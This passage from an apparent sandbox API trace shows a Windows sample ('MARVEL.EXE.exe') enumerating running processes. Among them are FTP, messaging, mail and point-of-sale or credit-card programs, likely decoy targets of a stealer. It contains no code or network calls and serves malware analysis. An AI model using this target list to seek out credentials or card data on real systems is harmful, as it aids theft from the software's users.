returned 1 [0027.424] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0027.424] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0027.425] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0027.456] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0027.457] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0027.458] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0027.458] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0027.459] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0027.460] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0027.460] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0027.461] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0027.462] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0027.463] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0027.463] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0027.464] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0027.465] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0027.465] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0027.466] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0027.467] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0027.468] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0027.468] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0027.469] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0027.469] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0027.470] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0027.471] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0027.471] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0027.472] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0027.473] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0027.473] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0027.474] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0027.474] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0027.475] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="eur.exe")) returned 1 [0027.476] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="residence_rate_imagine.exe")) returned 1 [0027.476] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0027.477] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0027.477] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0027.478] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0027.478] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="MARVEL.EXE.exe")) returned 1 [0027.479] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="MARVEL.EXE.exe")) returned 0 [0027.480] CloseHandle (hObject=0xfc) returned 1 [0027.480] GetCurrentThread () returned 0xfffffffe [0027.480] WaitForSingleObject (hHandle=0xfffffffe, dwMilliseconds=0x64) returned 0x102 [0027.628] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x170 [0027.631] Process32FirstW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0027.632] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0027.632] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0027.633] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0027.633] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0027.634] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0027.634] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0027.635] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0027.635] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0027.636] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0027.636] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0027.637] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0027.637] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0027.638] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0027.638] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0027.639] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0027.639] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0027.640] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0027.640] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0027.641] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0027.641] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0027.642] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0027.642] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0027.643] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0027.643] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0027.644] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0027.644] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0027.645] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0027.645] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="functionality-complimentary-planner.exe")) returned 1 [0027.646] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trim.exe")) returned 1 [0027.646] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="performer_dan_matt.exe")) returned 1 [0027.647] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="letters.exe")) returned 1 [0027.647] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lives-baths.exe")) returned 1 [0027.647] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jjcorrelation.exe")) returned 1 [0027.648] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="changelogthreadalbuquerque.exe")) returned 1 [0027.648] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="configuringlisa.exe")) returned 1 [0027.649] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="terrace.exe")) returned 1 [0027.649] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="temporal-spine.exe")) returned 1 [0027.650] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x764, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="softwarehelenaestimates.exe")) returned 1 [0027.650] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="freight_bradley_website.exe")) returned 1 [0027.651] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vaccine.exe")) returned 1 [0027.651] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="class-nasa-deaths.exe")) returned 1 [0027.652] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="hull grammar candles.exe")) returned 1 [0027.652] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0027.653] Process32NextW (in: hSnapshot=0x170, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 